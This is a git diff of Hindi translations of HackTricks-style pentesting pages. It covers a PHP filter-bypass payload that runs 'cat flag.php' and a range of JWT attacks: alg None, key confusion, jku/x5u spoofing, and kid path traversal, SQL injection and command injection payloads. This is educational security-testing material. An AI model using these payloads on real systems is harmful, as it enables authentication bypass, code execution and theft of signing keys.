तो, यदि आप **बिना नंबर और अक्षरों के मनमाने PHP को निष्पादित कर सकते हैं** तो आप निम्नलिखित अनुरोध को मनमाने PHP को निष्पादित करने के लिए उस पेलोड का दुरुपयोग करते हुए भेज सकते हैं:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
|
||||
```
|
||||
अधिक गहन व्याख्या के लिए [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match) देखें
|
||||
अधिक गहराई से समझने के लिए [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match) देखें।
|
||||
|
||||
### XOR Shellcode (eval के अंदर)
|
||||
```bash
|
||||
|
@ -356,7 +363,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
|
|||
```php
|
||||
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
|
||||
```
|
||||
### Perl जैसा
|
||||
### Perl की तरह
|
||||
```php
|
||||
<?php
|
||||
$_=[];
|
||||
|
@ -403,7 +410,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज में PRs सबमिट करके.
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,13 +10,13 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (638) (3).png>)
|
||||
|
||||
**Bug bounty tip**: **Intigriti** के लिए **साइन अप** करें, एक प्रीमियम **bug bounty platform जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही हमसे [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर जुड़ें, और **$100,000** तक के bounties कमाना शुरू करें!
|
||||
**Bug bounty tip**: **Intigriti** के लिए **साइन अप** करें, एक प्रीमियम **bug bounty platform जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही हमसे जुड़ें [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर, और $100,000 तक के बाउंटीज कमाना शुरू करें!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -31,7 +31,7 @@ python3 jwt_tool.py -M at \
|
|||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
यदि आप भाग्यशाली हैं, तो उपकरण को कुछ ऐसे मामले मिलेंगे जहां वेब एप्लिकेशन JWT की जांच गलत तरीके से कर रहा है:
|
||||
यदि आप भाग्यशाली हैं तो उपकरण कुछ ऐसे मामले खोज निकालेगा जहां वेब एप्लिकेशन JWT की जांच गलत तरीके से कर रहा है:
|
||||
|
||||
![](<../.gitbook/assets/image (435).png>)
|
||||
|
||||
|
@ -39,100 +39,100 @@ python3 jwt_tool.py -M at \
|
|||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
### डेटा को बिना कुछ बदले टैम्पर करें
|
||||
### डेटा में हेरफेर बिना कुछ बदले
|
||||
|
||||
आप डेटा के साथ टैम्पर कर सकते हैं और सिग्नेचर को जैसा है वैसा ही छोड़ सकते हैं और जांच सकते हैं कि क्या सर्वर सिग्नेचर की जांच कर रहा है। उदाहरण के लिए अपना यूजरनेम "admin" में बदलने का प्रयास करें।
|
||||
आप डेटा में हेरफेर कर सकते हैं और हस्ताक्षर को जैसा है वैसा ही छोड़ सकते हैं और जांच सकते हैं कि क्या सर्वर हस्ताक्षर की जांच कर रहा है। उदाहरण के लिए अपना उपयोगकर्ता नाम "admin" में बदलने का प्रयास करें।
|
||||
|
||||
#### **क्या टोकन की जांच की जा रही है?**
|
||||
#### **क्या टोकन की जांच की जाती है?**
|
||||
|
||||
* यदि कोई त्रुटि संदेश आता है तो सिग्नेचर की जांच की जा रही है - किसी भी विस्तृत त्रुटि जानकारी को पढ़ें जो कुछ संवेदनशील जानकारी को लीक कर सकती है।
|
||||
* यदि वापस आने वाला पृष्ठ अलग है तो सिग्नेचर की जांच की जा रही है।
|
||||
* यदि पृष्ठ वही है तो सिग्नेचर की जांच नहीं की जा रही है - Payload claims के साथ टैम्परिंग शुरू करने का समय है ताकि आप देख सकें कि आप क्या कर सकते हैं!
|
||||
* यदि कोई त्रुटि संदेश आता है तो हस्ताक्षर की जांच की जा रही है - किसी भी विस्तृत त्रुटि जानकारी को पढ़ें जो कुछ संवेदनशील जानकारी लीक कर सकती है।
|
||||
* यदि वापस आने वाला पृष्ठ अलग है तो हस्ताक्षर की जांच की जा रही है।
|
||||
* यदि पृष्ठ वही है तो हस्ताक्षर की जांच नहीं की जा रही है - Payload claims में हेरफेर करने का समय आ गया है ताकि आप देख सकें कि आप क्या कर सकते हैं!
|
||||
|
||||
### मूल
|
||||
|
||||
अपने प्रॉक्सी के अनुरोध इतिहास में जांचें कि टोकन कहां से आया है। इसे सर्वर पर बनाया जाना चाहिए, क्लाइंट पर नहीं।
|
||||
|
||||
* यदि यह पहली बार क्लाइंट-साइड से आते हुए देखा गया है तो **कुंजी** क्लाइंट-साइड कोड के लिए सुलभ है - इसे खोजें!
|
||||
* यदि यह पहली बार सर्वर से आते हुए देखा गया है तो सब ठीक है।
|
||||
* यदि यह पहली बार क्लाइंट-साइड से आता दिखाई दिया तो **कुंजी** क्लाइंट-साइड कोड के लिए सुलभ है - इसे खोजें!
|
||||
* यदि यह पहली बार सर्वर से आता दिखाई दिया तो सब ठीक है।
|
||||
|
||||
### अवधि
|
||||
|
||||
जांचें कि क्या टोकन 24h से अधिक समय तक चलता है... शायद यह कभी समाप्त नहीं होता। यदि "exp" फ़ील्ड है, तो जांचें कि क्या सर्वर इसे सही ढंग से संभाल रहा है।
|
||||
|
||||
### HMAC सीक्रेट को ब्रूट-फोर्स करें
|
||||
### HMAC सीक्रेट की ब्रूट-फोर्स
|
||||
|
||||
[**इस पृष्ठ को देखें।**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### एल्गोरिदम को None में बदलें (CVE-2015-9235)
|
||||
|
||||
इस्तेमाल किए जा रहे एल्गोरिदम को "None" पर सेट करें और सिग्नेचर भाग को हटा दें।
|
||||
उपयोग किए जाने वाले एल्गोरिदम को "None" पर सेट करें और हस्ताक्षर भाग को हटा दें।
|
||||
|
||||
इस कमजोरी को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए "JSON Web Token" कहे जाने वाले Burp एक्सटेंशन का उपयोग करें (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" पर रखने का भी चयन कर सकते हैं)।
|
||||
इस कमजोरी को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए Burp एक्सटेंशन का उपयोग करें "JSON Web Token" (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" पर रखने का चयन भी कर सकते हैं)।
|
||||
|
||||
### एल्गोरिदम RS256(असममित) को HS256(सममित) में बदलें (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
HS256 एल्गोरिदम प्रत्येक संदेश को साइन और सत्यापित करने के लिए सीक्रेट कुंजी का उपयोग करता है।\
|
||||
RS256 एल्गोरिदम संदेश को साइन करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।
|
||||
HS256 एल्गोरिदम प्रत्येक संदेश को हस्ताक्षर करने और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है।\
|
||||
RS256 एल्गोरिदम संदेश को हस्ताक्षर करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।
|
||||
|
||||
यदि आप एल्गोरिदम को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को सीक्रेट कुंजी के रूप में उपयोग करता है और फिर HS256 एल्गोरिदम का उपयोग करके सिग्नेचर को सत्यापित करता है।
|
||||
यदि आप एल्गोरिदम को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को गुप्त कुंजी के रूप में उपयोग करता है और फिर HS256 एल्गोरिदम का उपयोग करके हस्ताक्षर को सत्यापित करता है।
|
||||
|
||||
फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलकर हम एक वैध सिग्नेचर बना सकते हैं। आप वेब सर्वर का प्रमाणपत्र इसे निष्पादित करके प्राप्त कर सकते हैं:
|
||||
फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलकर हम एक वैध हस्ताक्षर बना सकते हैं। आप वेब सर्वर का प्रमाणपत्र इसे निष्पादित करके प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
```
|
||||
### हेडर में नई सार्वजनिक कुंजी
|
||||
### हेडर में नई पब्लिक की
|
||||
|
||||
एक हमलावर टोकन के हेडर में एक नई कुंजी जोड़ता है और सर्वर इस नई कुंजी का उपयोग करके हस्ताक्षर की पुष्टि करता है (CVE-2018-0114)।
|
||||
एक हमलावर टोकन के हेडर में एक नई की एम्बेड करता है और सर्वर इस नई की का उपयोग करके हस्ताक्षर को सत्यापित करता है (CVE-2018-0114)।
|
||||
|
||||
यह "JSON Web Tokens" Burp एक्सटेंशन के साथ किया जा सकता है।\
|
||||
(अनुरोध को Repeater में भेजें, JSON Web Token टैब के अंदर "CVE-2018-0114" का चयन करें और अनुरोध भेजें)।
|
||||
(रिक्वेस्ट को Repeater में भेजें, JSON Web Token टैब के अंदर "CVE-2018-0114" का चयन करें और रिक्वेस्ट भेजें)।
|
||||
|
||||
### JWKS Spoofing
|
||||
|
||||
यदि टोकन में “jku” हेडर दावा का उपयोग होता है, तो प्रदान किए गए URL की जांच करें। इसे एक URL की ओर इंगित करना चाहिए जिसमें JWKS फ़ाइल होती है जो टोकन की पुष्टि के लिए सार्वजनिक कुंजी रखती है। टोकन को तोड़ें ताकि jku मान आपके द्वारा निगरानी करने योग्य वेब सेवा की ओर इंगित करे।
|
||||
यदि टोकन में “jku” हेडर क्लेम का उपयोग होता है, तो प्रदान किए गए URL की जांच करें। इसे एक URL की ओर इंगित करना चाहिए जिसमें JWKS फाइल होती है जो टोकन को सत्यापित करने के लिए पब्लिक की रखती है। टोकन को ताम्पर करें ताकि jku मान आपके द्वारा मॉनिटर किए जा सकने वाले वेब सर्विस की ओर इंगित करे।
|
||||
|
||||
यदि आपको HTTP इंटरैक्शन मिलता है, तो अब आप जानते हैं कि सर्वर आपके द्वारा प्रदान किए गए URL से कुंजियों को लोड करने की कोशिश कर रहा है। _jwt\_tool के -S फ्लैग का उपयोग करें और -u_ [_http://example.com_](http://example.com) _आर्गुमेंट के साथ एक नई कुंजी जोड़ी बनाएं, अपना प्रदान किया गया URL इंजेक्ट करें, एक JWKS बनाएं जिसमें सार्वजनिक कुंजी हो, और निजी कुंजी के साथ टोकन पर हस्ताक्षर करें_
|
||||
यदि आपको HTTP इंटरैक्शन मिलता है, तो अब आप जानते हैं कि सर्वर आपके द्वारा प्रदान किए गए URL से कीज़ लोड करने की कोशिश कर रहा है। _jwt\_tool के -S फ्लैग का उपयोग करें और -u_ [_http://example.com_](http://example.com) _आर्ग्युमेंट के साथ एक नई की जोड़ी जेनरेट करें, अपना प्रदान किया गया URL इंजेक्ट करें, एक JWKS जेनरेट करें जिसमें पब्लिक की हो, और प्राइवेट की के साथ टोकन साइन करें_
|
||||
|
||||
### Kid मुद्दे
|
||||
|
||||
`kid` एक वैकल्पिक हेडर दावा है जो एक कुंजी पहचानकर्ता रखता है, विशेष रूप से तब उपयोगी होता है जब आपके पास टोकन पर हस्ताक्षर करने के लिए कई कुंजियाँ होती हैं और आपको हस्ताक्षर की पुष्टि के लिए सही एक को खोजने की आवश्यकता होती है।
|
||||
`kid` एक वैकल्पिक हेडर क्लेम है जो एक की आइडेंटिफायर रखता है, विशेष रूप से तब उपयोगी होता है जब आपके पास टोकन्स को साइन करने के लिए कई कीज़ होती हैं और आपको हस्ताक्षर को सत्यापित करने के लिए सही एक को खोजने की आवश्यकता होती है।
|
||||
|
||||
#### "kid" मुद्दे - कुंजी प्रकट करें
|
||||
#### "kid" मुद्दे - की प्रकट करना
|
||||
|
||||
यदि हेडर में "kid" दावा का उपयोग होता है, तो उस फ़ाइल या उसके विविधता के लिए वेब निर्देशिका की जांच करें। उदाहरण के लिए यदि `"kid":"key/12345"` तो वेब रूट पर _/key/12345_ और _/key/12345.pem_ की खोज करें।
|
||||
यदि हेडर में "kid" क्लेम का उपयोग होता है, तो उस फाइल या उसके वेरिएशन के लिए वेब डायरेक्टरी की जांच करें। उदाहरण के लिए यदि `"kid":"key/12345"` तो _/key/12345_ और _/key/12345.pem_ को वेब रूट पर देखें।
|
||||
|
||||
#### "kid" मुद्दे - पथ प्रवेश
|
||||
#### "kid" मुद्दे - पाथ ट्रैवर्सल
|
||||
|
||||
यदि हेडर में "kid" दावा का उपयोग होता है, तो जांचें कि क्या आप फ़ाइल सिस्टम में एक अलग फ़ाइल का उपयोग कर सकते हैं। एक ऐसी फ़ाइल चुनें जिसकी सामग्री का आप अनुमान लगा सकते हों, या शायद `"kid":"/dev/tcp/yourIP/yourPort"` का प्रयास करें कनेक्टिविटी की जांच के लिए, या कुछ **SSRF** पेलोड्स...\
|
||||
_jwt\_tool के -T फ्लैग का उपयोग करके JWT को तोड़ें और kid दावे के मूल्य को बदलें, फिर मूल हस्ताक्षर को बनाए रखने का चयन करें_
|
||||
यदि हेडर में "kid" क्लेम का उपयोग होता है, तो जांचें कि क्या आप फाइल सिस्टम में एक अलग फाइल का उपयोग कर सकते हैं। एक ऐसी फाइल चुनें जिसकी सामग्री का आप अनुमान लगा सकें, या शायद `"kid":"/dev/tcp/yourIP/yourPort"` का प्रयास करें कनेक्टिविटी की जांच के लिए, या कुछ **SSRF** पेलोड्स...\
|
||||
_jwt\_tool के -T फ्लैग का उपयोग करके JWT को ताम्पर करें और kid क्लेम के मान को बदलें, फिर मूल हस्ताक्षर को रखने का चयन करें_
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
#### "kid" मुद्दे - SQL इंजेक्शन
|
||||
|
||||
जब "kid" की सामग्री का उपयोग डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो आप "kid" पैरामीटर में पेलोड को बदल सकते हैं: `non-existent-index' UNION SELECT 'ATTACKER';-- -` और फिर JWT को `ATTACKER` सीक्रेट की के साथ साइन करें।
|
||||
जब "kid" की सामग्री का उपयोग डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो आप "kid" पैरामीटर के अंदर पेलोड को बदल सकते हैं: `non-existent-index' UNION SELECT 'ATTACKER';-- -` और फिर JWT को `ATTACKER` सीक्रेट की के साथ साइन करें।
|
||||
|
||||
#### "kid" मुद्दे - OS इंजेक्शन
|
||||
|
||||
जब "kid" पैरामीटर में किसी फाइल का पथ होता है जिसमें की होती है और इस पथ का उपयोग **कमांड को निष्पादित करने के अंदर** किया जाता है, तो आप RCE प्राप्त कर सकते हैं और निम्नलिखित पेलोड के साथ प्राइवेट की को उजागर कर सकते हैं: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
जब "kid" पैरामीटर में की के साथ फाइल का पथ होता है और इस पथ का उपयोग **कमांड के अंदर निष्पादित** किया जा रहा हो, तो आप RCE प्राप्त कर सकते हैं और निम्नलिखित पेलोड के साथ प्राइवेट की को उजागर कर सकते हैं: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
### विविध हमले
|
||||
|
||||
निम्नलिखित ज्ञात कमजोरियां हैं जिनकी जांच की जानी चाहिए।
|
||||
निम्नलिखित ज्ञात कमजोरियां हैं जिनका परीक्षण किया जाना चाहिए।
|
||||
|
||||
**क्रॉस-सर्विस रिले हमले**
|
||||
|
||||
कुछ वेब एप्लिकेशन एक विश्वसनीय JWT 'सेवा' का उपयोग करते हैं जो उनके लिए टोकन उत्पन्न करती है और प्रबंधित करती है। अतीत में कुछ उदाहरण हुए हैं जहां एक JWT सेवा के ग्राहकों के लिए उत्पन्न टोकन वास्तव में उसी JWT सेवा के अन्य ग्राहकों द्वारा स्वीकार किया जा सकता है।\
|
||||
यदि आप देखते हैं कि JWT किसी तृतीय-पक्ष सेवा के माध्यम से जारी या नवीनीकृत हो रहा है, तो यह जांचने लायक है कि क्या आप उसी सेवा के अन्य ग्राहकों पर अपने समान उपयोगकर्ता नाम/ईमेल के साथ एक खाता बना सकते हैं। यदि हां, तो उस टोकन को लेकर अपने लक्ष्य को अनुरोध में पुनः प्रयास करें। क्या यह स्वीकार किया जाता है?
|
||||
कुछ वेब एप्लिकेशन एक विश्वसनीय JWT 'सेवा' का उपयोग करते हैं जो उनके लिए टोकन उत्पन्न करती है और प्रबंधित करती है। अतीत में कुछ उदाहरण हुए हैं जहां एक JWT सेवा के ग्राहकों के लिए उत्पन्न टोकन वास्तव में JWT सेवा के अन्य ग्राहकों द्वारा स्वीकार किया जा सकता है।\
|
||||
यदि आप देखते हैं कि JWT किसी तृतीय-पक्ष सेवा के माध्यम से जारी या नवीनीकृत हो रहा है, तो यह जांचने लायक है कि क्या आप उस सेवा के अन्य ग्राहकों पर अपने समान उपयोगकर्ता नाम/ईमेल के साथ एक खाता बना सकते हैं। यदि हां, तो उस टोकन को लेकर अपने लक्ष्य के लिए एक अनुरोध में पुनः चलाने का प्रयास करें। क्या यह स्वीकार किया जाता है?
|
||||
|
||||
* यदि आपका टोकन स्वीकार किया जाता है, तो आपके पास किसी भी उपयोगकर्ता के खाते को नकली बनाने की एक गंभीर समस्या हो सकती है। हालांकि, ध्यान रखें कि यदि आप एक तृतीय-पक्ष एप्लिकेशन पर साइन अप कर रहे हैं तो आपको व्यापक परीक्षण अनुमतियों की अनुमति मांगने की आवश्यकता हो सकती है, क्योंकि यह कानूनी धूसर-क्षेत्र में प्रवेश कर सकता है!
|
||||
* यदि आपका टोकन स्वीकार किया जाता है, तो आपके पास किसी भी उपयोगकर्ता के खाते को स्पूफ करने की एक महत्वपूर्ण समस्या हो सकती है। हालांकि, ध्यान रखें कि यदि आप किसी तृतीय-पक्ष एप्लिकेशन पर साइन अप कर रहे हैं तो आपको व्यापक परीक्षण अनुमतियों के लिए अनुमति मांगने की आवश्यकता हो सकती है, क्योंकि यह कानूनी धूसर-क्षेत्र में प्रवेश कर सकता है!
|
||||
|
||||
**क्या exp जांचा जाता है?**
|
||||
**क्या exp की जांच की जाती है?**
|
||||
|
||||
"exp" पेलोड दावा टोकन की समाप्ति की जांच के लिए उपयोग किया जाता है। चूंकि JWTs अक्सर सत्र जानकारी के अभाव में उपयोग किए जाते हैं, इसलिए उन्हें सावधानी से संभालने की जरूरत होती है - कई मामलों में किसी और के JWT को कैप्चर करना और पुनः प्रयास करना आपको उस उपयोगकर्ता के रूप में छद्म बनाने की अनुमति देगा।\
|
||||
JWT पुनः प्रयास हमलों के खिलाफ एक निवारण (जो JWT RFC द्वारा सलाह दी गई है) "exp" दावे का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करना है। यह भी महत्वपूर्ण है कि एप्लिकेशन में संबंधित जांचें स्थापित की जाएं ताकि यह सुनिश्चित किया जा सके कि यह मूल्य संसाधित हो और टोकन को अस्वीकार किया जाए जहां यह समाप्त हो गया है। यदि टोकन में "exp" दावा होता है और परीक्षण समय सीमाएं इसकी अनुमति देती हैं - टोकन को स्टोर करने का प्रयास करें और समाप्ति समय के बाद इसे पुनः प्रयास करें। _jwt\_tool के -R फ्लैग का उपयोग करें टोकन की सामग्री को पढ़ने के लिए, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच शामिल है (टाइमस्टैम्प UTC में)_
|
||||
"exp" पेलोड दावा का उपयोग टोकन की समाप्ति की जांच के लिए किया जाता है। चूंकि JWTs अक्सर सत्र जानकारी के अभाव में उपयोग किए जाते हैं, इसलिए उन्हें सावधानी से संभालने की जरूरत होती है - कई मामलों में किसी और के JWT को कैप्चर करना और पुनः चलाना आपको उस उपयोगकर्ता के रूप में प्रच्छन्न करने की अनुमति देगा।\
|
||||
JWT पुनरावृत्ति हमलों के खिलाफ एक उपाय (जिसे JWT RFC द्वारा सलाह दी गई है) "exp" दावे का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करना है। यह भी महत्वपूर्ण है कि एप्लिकेशन में संबंधित जांचें स्थापित की जाएं ताकि यह सुनिश्चित किया जा सके कि यह मूल्य संसाधित हो और टोकन को अस्वीकार किया जाए जहां यह समाप्त हो गया है। यदि टोकन में "exp" दावा होता है और परीक्षण समय सीमाएं इसकी अनुमति देती हैं - टोकन को स्टोर करने और समाप्ति समय के बाद इसे पुनः चलाने का प्रयास करें। _jwt\_tool के -R फ्लैग का उपयोग करें टोकन की सामग्री को पढ़ने के लिए, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच शामिल है (टाइमस्टैम्प UTC में)_
|
||||
|
||||
* यदि टोकन अभी भी एप्लिकेशन में मान्य होता है, तो यह एक सुरक्षा जोखिम हो सकता है क्योंकि टोकन कभी भी समाप्त नहीं हो सकता है।
|
||||
|
||||
|
@ -140,8 +140,8 @@ JWT पुनः प्रयास हमलों के खिलाफ ए
|
|||
|
||||
#### jku
|
||||
|
||||
jku का मतलब **JWK Set URL** है।\
|
||||
यदि टोकन एक “**jku**” **Header** दावे का उपयोग करता है, तो **प्रदान किए गए URL की जांच करें**। यह एक URL की ओर इशारा करना चाहिए जिसमें JWKS फाइल होती है जो टोकन को सत्यापित करने के लिए पब्लिक की रखती है। टोकन को तोड़कर jku मान को एक वेब सेवा की ओर इशारा करने के लिए बदलें जिसके लिए आप ट्रैफिक की निगरानी कर सकते हैं।
|
||||
jku का मतलब है **JWK Set URL**।\
|
||||
यदि टोकन "jku" **Header** दावे का उपयोग करता है, तो **प्रदान किए गए URL की जांच करें**। यह एक URL की ओर इशारा करना चाहिए जिसमें JWKS फाइल होती है जो टोकन को सत्यापित करने के लिए पब्लिक की रखती है। टोकन को तोड़कर jku मान को एक वेब सेवा की ओर इशारा करने के लिए बदलें जिसके लिए आप ट्रैफिक की निगरानी कर सकते हैं।
|
||||
|
||||
सबसे पहले आपको नए प्राइवेट और पब्लिक कीज़ के साथ एक नया सर्टिफिकेट बनाने की जरूरत है
|
||||
```bash
|
||||
|
@ -149,7 +149,7 @@ openssl genrsa -out keypair.pem 2048
|
|||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग करके **नए JWT को बनाने के लिए बनाए गए सार्वजनिक और निजी कुंजियों का उपयोग कर सकते हैं और पैरामीटर jku को बनाई गई प्रमाणपत्र की ओर इंगित कर सकते हैं।** एक मान्य jku प्रमाणपत्र बनाने के लिए आप मूल प्रमाणपत्र को डाउनलोड कर सकते हैं और आवश्यक पैरामीटर्स में परिवर्तन कर सकते हैं।
|
||||
तब आप [**jwt.io**](https://jwt.io) का उपयोग करके नया JWT बना सकते हैं **बनाए गए सार्वजनिक और निजी कुंजियों के साथ और पैरामीटर jku को बनाई गई प्रमाणपत्र की ओर इंगित करते हुए।** एक मान्य jku प्रमाणपत्र बनाने के लिए आप मूल प्रमाणपत्र को डाउनलोड कर सकते हैं और आवश्यक पैरामीटर्स में परिवर्तन कर सकते हैं।
|
||||
|
||||
आप एक सार्वजनिक प्रमाणपत्र से पैरामीटर्स "e" और "n" प्राप्त कर सकते हैं इसका उपयोग करके:
|
||||
```bash
|
||||
|
@ -162,16 +162,16 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. एक URI जो PEM प्रारूप में एन्कोडेड X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के एक समूह की ओर इशारा करता है। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT को हस्ताक्षर करने के लिए किया गया है। बाद के प्रमाणपत्र प्रत्येक पिछले वाले को हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों के हस्तांतरण के लिए परिवहन सुरक्षा आवश्यक है।
|
||||
X.509 URL. एक URI जो PEM फॉर्म में एन्कोडेड X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के सेट की ओर इशारा करता है। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT को हस्ताक्षर करने के लिए किया गया है। बाद के प्रमाणपत्र प्रत्येक पिछले वाले को हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा आवश्यक है।
|
||||
|
||||
इस हेडर को अपने नियंत्रण में एक URL में **बदलने का प्रयास करें** और जांचें कि क्या कोई अनुरोध प्राप्त होता है। ऐसे मामले में आप **JWT को बदल सकते हैं**।
|
||||
|
||||
आपके द्वारा नियंत्रित एक प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए, आपको प्रमाणपत्र बनाने और सार्वजनिक और निजी कुंजियों को निकालने की आवश्यकता है:
|
||||
आपके द्वारा नियंत्रित प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए, आपको प्रमाणपत्र बनाने और सार्वजनिक और निजी कुंजियों को निकालने की आवश्यकता है:
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
तब आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग करके नया JWT बना सकते हैं **बनाए गए सार्वजनिक और निजी कुंजियों के साथ और पैरामीटर x5u को बनाई गई .crt प्रमाणपत्र की ओर इंगित करते हुए।**
|
||||
